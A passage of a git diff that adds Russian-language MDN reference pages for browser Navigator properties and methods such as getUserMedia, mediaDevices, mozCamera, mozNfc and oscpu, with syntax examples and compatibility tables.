+   navigator.getUserMedia({ audio: true, video: { width: 1280, height: 720 } },
+      function(stream) {
+         var video = document.querySelector('video');
+         video.srcObject = stream;
+         video.onloadedmetadata = function(e) {
+           video.play();
+         };
+      },
+      function(err) {
+         console.log("The following error occurred: " + err.name);
+      }
+   );
+} else {
+   console.log("getUserMedia not supported");
+}
+</pre>
+
+<h2 id="Разрешения">Разрешения</h2>
+
+<p class="syntaxbox"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Чтобы использовать</span></span></span><code>getUserMedia()</code><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span><code> </code>в устанавливаемом приложении (например, приложении Firefox OS), вам необходимо указать одно или оба из следующих полей внутри файла манифеста:</span></span></span></p>
+
+<pre class="brush: js notranslate">"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}</pre>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>См. Разрешение: аудио-захват и разрешение: видео-захват для получения дополнительной информации.</span></span></span></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="warning">
+<p>New code should use {{domxref("Navigator.mediaDevices.getUserMedia()")}} instead.</p>
+</div>
+
+
+
+<p>{{Compat("api.Navigator.getUserMedia")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("MediaDevices.getUserMedia()")}} that replaces this deprecated method.</li>
+ <li><a href="/en-US/docs/WebRTC">WebRTC</a> - the introductory page to the API</li>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API">MediaStream API</a> - the API for the media stream objects</li>
+ <li><a href="/en-US/docs/WebRTC/taking_webcam_photos">Taking webcam photos</a> - a tutorial on using <code>getUserMedia() for taking photos rather than video.</code></li>
+</ul>
diff --git a/files/ru/web/api/navigator/getvrdisplays/index.html b/files/ru/web/api/navigator/getvrdisplays/index.html
new file mode 100644
index 0000000000..4c37427910
--- /dev/null
+++ b/files/ru/web/api/navigator/getvrdisplays/index.html
@@ -0,0 +1,56 @@
+---
+title: Navigator.getVRDisplays()
+slug: Web/API/Navigator/getVRDisplays
+translation_of: Web/API/Navigator/getVRDisplays
+---
+<div>{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Метод <strong><code>getVRDisplays()</code></strong> интерфейса {{domxref("Navigator")}} возвращает объект типа <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, из которого можно получить массив объектов типа {{domxref("VRDisplay")}}, являющихся отображением любого доступного из подключенных к компьютеру VR устройств.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.getVRDisplays().then(function(displays) {
+  //Тут можно что-то сделать с доступными VR устройствами
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект типа Promise, содержащий в случае успешного выполнения массив объектов {{domxref("VRDisplay")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/Web/API/VRDisplay", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR', '#navigator-getvrdisplays-attribute', 'getVRDisplays()')}}</td>
+   <td>{{Spec2('WebVR')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Navigator.getVRDisplays")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/navigator/id/index.html b/files/ru/web/api/navigator/id/index.html
new file mode 100644
index 0000000000..ba98e02cf6
--- /dev/null
+++ b/files/ru/web/api/navigator/id/index.html
@@ -0,0 +1,20 @@
+---
+title: Navigator.id
+slug: Web/API/Navigator/id
+tags:
+  - DOM
+  - Reference
+  - Référence(2)
+translation_of: Archive/Navigator-id
+---
+<div>{{ ApiRef("Persona") }}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>The <a href="/en-US/docs/Persona" title="BrowserID">BrowserID protocol</a> defines a new <code>id</code> property on the {{ domxref ("window.navigator")}} object, through which it exposes the BrowserID API, that is the {{domxref("IdentityManager")}} intreface. This API has gone through several significant revisions. Each generation is listed separately below.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>var id = navigator.id</pre>
+
+<p> </p>
diff --git a/files/ru/web/api/navigator/index.html b/files/ru/web/api/navigator/index.html
new file mode 100644
index 0000000000..d073d18ac4
--- /dev/null
+++ b/files/ru/web/api/navigator/index.html
@@ -0,0 +1,123 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+tags:
+  - API
+  - HTML DOM
+  - Navigator
+translation_of: Web/API/Navigator
+---
+<p>{{ apiref() }}</p>
+
+<p>Интерфейс Navigator представляет собой состояние и особенности(свойства) пользовательского агента. Это позволяет скриптам узнавать их и самостоятельно регистрироваться для выполнения некоторых действий.</p>
+
+<p>Объект Navigator может быть вызван свойством {{domxref ("Window.navigator")}}, только для чтения.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Не наследует никаких других свойств, но реализует те, которые определены в <em>{{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}, и {{domxref("NetworkInformation")}}.</em></p>
+
+<h3 id="Стандартиризованные">Стандартиризованные</h3>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает внутренний "код" текущего браузера. Не полагайтесь на это свойство для получения правильного значения.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} с официальным названием браузера. <span id="result_box" lang="ru"><span class="hps">Не полагайтесь</span> <span class="alt-edited hps">на это свойство</span><span> для получения</span> <span class="hps">правильного значения.</span></span></dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает версию браузера как {{domxref("DOMString")}}. <span id="result_box" lang="ru"><span class="hps">Не полагайтесь</span> <span class="alt-edited hps">на это свойство</span><span> для получения</span> <span class="hps">правильного значения.</span></span></dd>
+ <dt>{{domxref("Navigator.battery")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref ("BatteryManager")}} объект, который вы можете использовать для получения информации о статусе заряда аккумулятора.</dd>
+ <dt>{{domxref("NetworkInformation.connection")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Предоставляет {{domxref ("Connection")}} с информацией о сетевом подключении устройства.</dd>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Geolocation")}} объект, позволяющий получить доступ к местоположению устройства.</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} флаг, показывающий включен ли в браузере java или нет.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, представляющий предпочитаемый пользователем язык, как правило это язык пользвательского интерфейса браузера. Значение <code>null</code> возвращается, когда язык неизвестен.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Возвращает массив {{domxref("DOMString")}}, представляющий собой языки, известные пользователю, в порядке предпочтения.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("MimeTypeArray")}} листинг MIME типов, поддерживаемых браузером.</dd>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}}, показывающий работает ли браузер в сети.</dd>
+ <dt>{{domxref("Navigator.oscpu")}}</dt>
+ <dd>Возвращает строку, показывающую имеющуюся операционную систему.</dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает строку, показывающую платформму браузера. Не полагайтесь на эту функцию, чтобы получить нужное значение.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("PluginArray")}} листинг плагинов, установленных в браузере.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Всегда возвращает <code>'Gecko'</code>, в любом браузере. <span id="result_box" lang="ru"><span class="hps">Это свойство</span> <span class="hps">сохраняется</span> <span class="hps">только для</span> <span class="hps">целей</span> <span class="hps">совместимости</span></span>.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Возвращает строку агента пользователя для данного браузера.</dd>
+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("ServiceWorkerContainer")}} объект, который обеспечивает доступ к регистрации, удалению, обновлению и связи с {{domxref("ServiceWorker")}} объектами для <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">соответствующего документа.</a></dd>
+</dl>
+
+<h3 id="Methods" name="Methods">Не стандартиризованные</h3>
+
+<dl>
+ <dt>{{domxref("window.navigator.buildID", "navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает идентификатор сборки браузера(например: "2006090803").</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает логическое значение (boolean), показывающее включены ли куки в браузере или нет.</dd>
+ <dt>{{domxref("navigator.doNotTrack")}} {{non-standard_inline}}</dt>
+ <dd>Значение сообщает о предпочтении пользователя не отслеживать его действия. Когда это значение "да", ваш веб сайт или приложение не должны отслеживать действия пользователя.</dd>
+ <dt>{{domxref("navigator.id")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает {{domxref("window.navigator.id", "id")}} объект, который вы можете использовать для добавления поддержки <a href="/en-US/docs/BrowserID" title="BrowserID">BrowserID</a> на свой сайт.</dd>
+ <dt>{{domxref("window.navigator.mozApps", "navigator.mozApps")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает {{domxref("window.navigator.mozApps", "Apps")}} объект,  который вы можете использовать для установки, управления и контроля <a href="/Open_Web_Apps" title="Open Web apps">Open Web apps</a>.</dd>
+ <dt>{{domxref("Navigator.mozAudioChannelManager", "navigator.mozAudioChannelManager")}} {{non-standard_inline}}</dt>
+ <dd>Объект <code>navigator.mozAudioChannelManager </code>обеспечивает доступ к {{domxref("mozAudioChannelManager")}} интерфейсу, который используется для управления аудио-каналами этого Firefox OS устройства, включая настройку громкости канала, когда кнопка громкости нажата внутри конкретного приложения.</dd>
+ <dt>{{domxref("window.navigator.mozNotification","navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}<br>
+ {{domxref("window.navigator.webkitNotification","navigator.webkitNotification")}}</dt>
+ <dd>Возвращает {{domxref("navigator.mozNotification", "notification")}} объект, который можно использовать для доставки уведомлений пользователю из вашего веб-приложения.</dd>
+ <dt>{{domxref("navigator.mozSocial")}} {{non-standard_inline}}</dt>
+ <dd>Объект, возвращающий <code>navigator.mozSocial</code> свойство, доступное в панели провайдера социальных медиадля для обеспечения требуемой функциональности.</dd>
+ <dt>{{domxref("window.navigator.productSub", "navigator.productSub")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает номер сборки текущего браузера(например: "20060909" ).</dd>
+ <dt>{{domxref("window.navigator.securitypolicy", "navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает пустую строку. В Netscape 4.7x, возвращает "US &amp; CA domestic policy" или "Export policy".</dd>
+ <dt>{{domxref("window.navigator.standalone", "navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает логическое значение (boolean), показывающее работает ли браузер в автономном режиме. Доступно только в <span class="short_text" id="result_box" lang="ru"><span class="hps">IOS</span> <span class="hps">Safari от Apple</span></span>.</dd>
+ <dt>{{domxref("window.navigator.vendor", "navigator.vendor")}} {{non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">имя поставщика</span> <span class="hps">текущего</span> <span class="atn hps">браузера (</span><span>например</span><span>,</span> <span class="atn hps">"</span><span>Netscape6</span><span>"</span><span>)</span><span>.</span></span></dd>
+ <dt>{{domxref("window.navigator.vendorSub", "navigator.vendorSub")}} {{non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">номер версии</span> <span class="hps">поставщика</span> <span class="atn hps">(например, "</span><span>6.1</span><span>")</span><span>.</span></span></dd>
+ <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API"><code>navigator.webkitPointer</code></a> {{non-standard_inline}}</dt>
+ <dd>Возвращает объект PointerLock для <a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API">Mouse Lock API</a>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p>Не наследует никаких других свойств, но реализует те, которые определены в <em>{{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, <em>{{domxref("NavigatorUserMedia")}}, и</em> {{domxref("NavigatorStorageUtils")}}.</em></p>
+
+<h3 id="Стандартиризованные_2">Стандартиризованные</h3>
+
+<dl>
+ <dt>{{domxref("NavigatorUserMedia.getUserMedia()")}}</dt>
+ <dd>После запроса разрешения у пользователя возвращает аудио или видео поток, взаимодействующий с камерой или микрофоном на локальном компьютере.</dd>
+ <dt>{{domxref("window.navigator.registerContentHandler", "navigator.registerContentHandler")}}</dt>
+ <dd>Разарешает веб-сайту зарегистрировать себя в качестве возможного обработчика для данного MIME типа.</dd>
+ <dt>{{domxref("navigator.registerProtocolHandler", "navigator.registerProtocolHandler")}}</dt>
+ <dd>Разрешает веб-сайту зарегистрировать себя в качестве возможного обработчика для данного протокола.</dd>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt>
+ <dd>Возвращает <code>false</code>. JavaScript taint/untaint функции отключены в JavaScript 1.2.</dd>
+ <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt>
+ <dd>Причина вибрации устройства с поддержкой ее. Не делает ничего, если нет поддержки вибрации.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Не стандартиризованные</h3>
+
+<dl>
+ <dt>{{domxref("window.navigator.mozIsLocallyAvailable", "navigator.mozIsLocallyAvailable")}} {{non-standard_inline}}</dt>
+ <dd>Позволяет коду проверить, есть ли документ в данном URI без использования сети.</dd>
+ <dt>{{domxref("window.navigator.mozPay", "navigator.mozPay")}} {{non-standard_inline}}</dt>
+ <dd>Разрешает оплату в приложении.</dd>
+ <dt>{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Устанавливает</span> <span class="hps">предпочтение</span> <span class="hps">пользователя</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Этот метод доступен</span> <a href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">только для привилегированного кода</a> <span class="hps">и</span> <span class="hps">является устаревшим</span><span>;</span></span> вы должны использовать вместо него XPCOM <a href="/en-US/docs/Preferences_API" title="Preferences_API">Preferences API</a>.</dd>
+ <dt>{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}</dt>
+ <dd>Запрос установки блокировки пробуждения для ресурса. Блокировка пробуждения препятствует определенной части устройства включится автоматически.</dd>
+</dl>
diff --git a/files/ru/web/api/navigator/mediadevices/index.html b/files/ru/web/api/navigator/mediadevices/index.html
new file mode 100644
index 0000000000..2e8d3aaf0c
--- /dev/null
+++ b/files/ru/web/api/navigator/mediadevices/index.html
@@ -0,0 +1,103 @@
+---
+title: Navigator.mediaDevices
+slug: Web/API/Navigator/mediaDevices
+translation_of: Web/API/Navigator/mediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>Свойство <strong><code>Navigator.mediaDevices</code></strong> только для чтения, возвращает объект {{domxref("MediaDevices")}}, который предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера и микрофон, а также совместное использование экрана.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>mediaDevices</em> = navigator.mediaDevices;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("MediaDevices")}} объект синглтон. Как правило, вы просто используете элементы этого объекта напрямую, например с помощью вызова {{domxref("navigator.mediaDevices.getUserMedia()")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#widl-NavigatorUserMedia-mediaDevices', 'NavigatorUserMedia.mediaDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>: The entry point to the documentation about the entire media stream API.</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a>: Documentation about the WebRTC API, which is closely related.</li>
+</ul>
diff --git a/files/ru/web/api/navigator/mozaudiochannelmanager/index.html b/files/ru/web/api/navigator/mozaudiochannelmanager/index.html
new file mode 100644
index 0000000000..e8a42e9207
--- /dev/null
+++ b/files/ru/web/api/navigator/mozaudiochannelmanager/index.html
@@ -0,0 +1,32 @@
+---
+title: Navigator.mozAudioChannelManager
+slug: Web/API/Navigator/mozAudioChannelManager
+translation_of: Archive/B2G_OS/API/Navigator/mozAudioChannelManager
+---
+<p>{{APIRef("Firefox OS")}}{{Non-standard_header}}</p>
+
+<p>Объект <code>navigator.mozAudioChannelManager</code> предоставляющий доступ к интерфейсу  {{domxref("mozAudioChannelManager")}} который используется для  управления аудио каналами вашего устроства Firefox OS включая настройки эффекта громкости канала, когда <span id="result_box" lang="ru"><span class="hps">кнопки регулировки громкости</span> <span class="hps">нажимаются</span> <span class="hps">внутри</span> <span class="hps">конкретного</span> <span class="hps">приложения.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var mgr = window.navigator.mozAudioChannelManager;</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>A {{domxref("mozAudioChannelManager")}} object.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>{{page("/en-US/docs/Web/API/mozAudioChannelManager","Specifications")}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{page("/en-US/docs/Web/API/mozAudioChannelManager","Browser_compatibility")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("mozAudioChannelManager")}}</li>
+ <li><a href="/en-US/Apps/Build/App_permissions">Приложения доступные в Firefox OS</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Использование AudioChannels API</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/mozcamera/index.html b/files/ru/web/api/navigator/mozcamera/index.html
new file mode 100644
index 0000000000..620fba2e0e
--- /dev/null
+++ b/files/ru/web/api/navigator/mozcamera/index.html
@@ -0,0 +1,43 @@
+---
+title: Navigator.mozCamera
+slug: Web/API/Navigator/mozCamera
+translation_of: Archive/B2G_OS/API/Navigator/mozCamera
+---
+<p>{{APIRef("Firefox OS")}}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{B2GOnlyHeader2('privileged')}}</p>
+
+<h2 id="Summary" name="Summary">Резюме</h2>
+
+<p>Возвращает объект {{ domxref("CameraManager") }} который вы можите использовать для доступа к камере доступной на устройстве пользователя.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var camera = window.navigator.mozCamera;
+</pre>
+
+<h2 id="Value" name="Value">Значение</h2>
+
+<p><code>navigator.mozCamera</code> это объект {{domxref("CameraManager")}} который вы можете использовать для доступа к камере доступной на устройстве.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Не является еще частю какой-либо спецификации;<span id="result_box" lang="ru"><span class="hps"> Оно</span><span>, вероятно, будет</span> <span class="hps">заменен</span>о на <span class="hps">WebRTC</span><span>, когда</span> <span class="hps">оно получит</span> <span class="hps">более</span> <span class="hps">широкую поддержку</span> <span class="hps">на мобильных устройствах</span><span>.</span></span></p>
+
+<h2 id="Права_доступа">Права доступа</h2>
+
+<p>До Firefox OS 1.4,  API камеры было сертифицированным API, недоступным для сторонних приложений. С Firefox OS 2.0 и далее,  Уровень доступа был понижен до привелигированного, так что теперь доступно для разработчиков сторонних приложений.</p>
+
+<pre class="brush: json">"permissions": {
+  "camera": {
+    "description": "Required for accessing cameras on the device."
+  }
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC API</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/mozl10n/index.html b/files/ru/web/api/navigator/mozl10n/index.html
new file mode 100644
index 0000000000..590d3238cd
--- /dev/null
+++ b/files/ru/web/api/navigator/mozl10n/index.html
@@ -0,0 +1,38 @@
+---
+title: Navigator.mozL10n
+slug: Web/API/Navigator/mozL10n
+tags:
+  - API
+  - Firefox OS
+  - Localization
+  - Reference
+  - Référence(2)
+  - Локализация
+  - Справка
+  - Справка(2)
+translation_of: Archive/B2G_OS/API/Navigator/mozL10n
+---
+<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p>
+
+<p><span class="seoSummary"><code>navigator.mozL10n</code> возвращает объект {{ domxref("L10n") }}, который вы можете использовать для доступа к ресурсам локализации и реагировать на события локализации.</span></p>
+
+<h2 id="Синтаксис" name="Синтаксис">Синтаксис</h2>
+
+<pre class="eval">var l10n = navigator.mozL10n;
+</pre>
+
+<h2 id="Значение" name="Значение">Значение</h2>
+
+<p><code>navigator.mozL10n</code> возвращает объект{{domxref("L10n")}}.</p>
+
+<h2 id="Спецификация" name="Спецификация">Спецификация</h2>
+
+<p>Не имеет спецификации. Заметим, что в будущем этот API будет заменен на <a href="ru/docs/L20n">L20n</a>.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("L10n")}}</li>
+ <li><a href="/en-US/Apps/Build/Localization">Локализация приложений</a></li>
+ <li><a href="/en-US/docs/L20n">L20n</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/moznfc/index.html b/files/ru/web/api/navigator/moznfc/index.html
new file mode 100644
index 0000000000..8e21ea296b
--- /dev/null
+++ b/files/ru/web/api/navigator/moznfc/index.html
@@ -0,0 +1,43 @@
+---
+title: Navigator.mozNfc
+slug: Web/API/Navigator/mozNfc
+translation_of: Archive/B2G_OS/API/Navigator/mozNfc
+---
+<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <code>mozNfc</code> возвращает объект {{ domxref("MozNFC") }} который может быть использован для доступа к функциональности Firefox OS's NFC: Near Field Communication (NFC)  это радио технология малой дальности, используемая для обмена данными и тегами между мобильными устройствами прижатыми друг к другу или находящимися близко друг к другу.</p>
+
+<p>Для получения детальной иформации о NFC, прочтите <a href="/en-US/docs/Web/API/NFC_API/Using_the_NFC_API">Использование NFC API</a> и изучите <a href="/en-US/docs/Web/API/NFC_API">NFC справку</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var nfc = navigator.mozNfc;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>navigator.mozNfc</code> возвращает объект {{ domxref("MozNFC") }}.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{page("/en-US/docs/Web/API/NFC_API","Browser_compatibility")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>{{page("/en-US/docs/Web/API/NFC_API","Specification")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/NFC_API/Using_the_NFC_API">Using the NFC API</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/NFC_API/Using_the_NFC_emulator">Using the NFC emulator</a></li>
+ <li><a href="/en-US/docs/Web/API/NFC_API">NFC reference landing page</a></li>
+ <li>Related W3C APIs:
+  <ul>
+   <li><a href="http://www.w3.org/TR/2014/WD-nfc-20140114/#idl-def-NFCPeer">NFCPeer spec </a></li>
+   <li><a href="http://www.w3.org/TR/2014/WD-nfc-20140114/#nfctag-interface">NFCTag spec</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/api/navigator/oscpu/index.html b/files/ru/web/api/navigator/oscpu/index.html
new file mode 100644
index 0000000000..01d37fd10e
--- /dev/null
+++ b/files/ru/web/api/navigator/oscpu/index.html
@@ -0,0 +1,80 @@
+---
+title: Navigator.oscpu
+slug: Web/API/Navigator/oscpu
+translation_of: Web/API/Navigator/oscpu
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<p><span lang="ru"><span class="hps">Возвращает</span> <span class="hps">строку, которая идентифицирует</span> <span class="hps">текущую операционную систему.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>oscpuInfo</em> = window.navigator.oscpu
+</pre>
+
+<ul>
+ <li><code>oscpuInfo</code> это строка которая имеет следующий вид:</li>
+</ul>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Операционная система</th>
+   <th><code>Формат строки oscpuInfo</code></th>
+  </tr>
+  <tr>
+   <td>OS/2</td>
+   <td>OS/2 Warp x (either 3, 4 or 4.5)</td>
+  </tr>
+  <tr>
+   <td>Windows CE</td>
+   <td>WindowsCE x.y<sup>1</sup></td>
+  </tr>
+  <tr>
+   <td>Windows 64-bit (64-bit build)</td>
+   <td>Windows NT x.y; Win64; x64</td>
+  </tr>
+  <tr>
+   <td>Windows 64-bit (32-bit build)</td>
+   <td>Windows NT x.y; WOW64</td>
+  </tr>
+  <tr>
+   <td>Windows 32-bit</td>
+   <td>Windows NT x.y</td>
+  </tr>
+  <tr>
+   <td>Mac OS X (PPC build)</td>
+   <td>PPC Mac OS X x.y</td>
+  </tr>
+  <tr>
+   <td>Mac OS X (i386/x64 build)</td>
+   <td>Intel Mac OS X x.y</td>
+  </tr>
+  <tr>
+   <td>Linux 64-bit (32-bit build)</td>
+   <td>Вывод uname -s плюс "i686 on x86_64"</td>
+  </tr>
+  <tr>
+   <td>Linux</td>
+   <td>Вывод uname -sm</td>
+  </tr>
+ </tbody>
+</table>
+
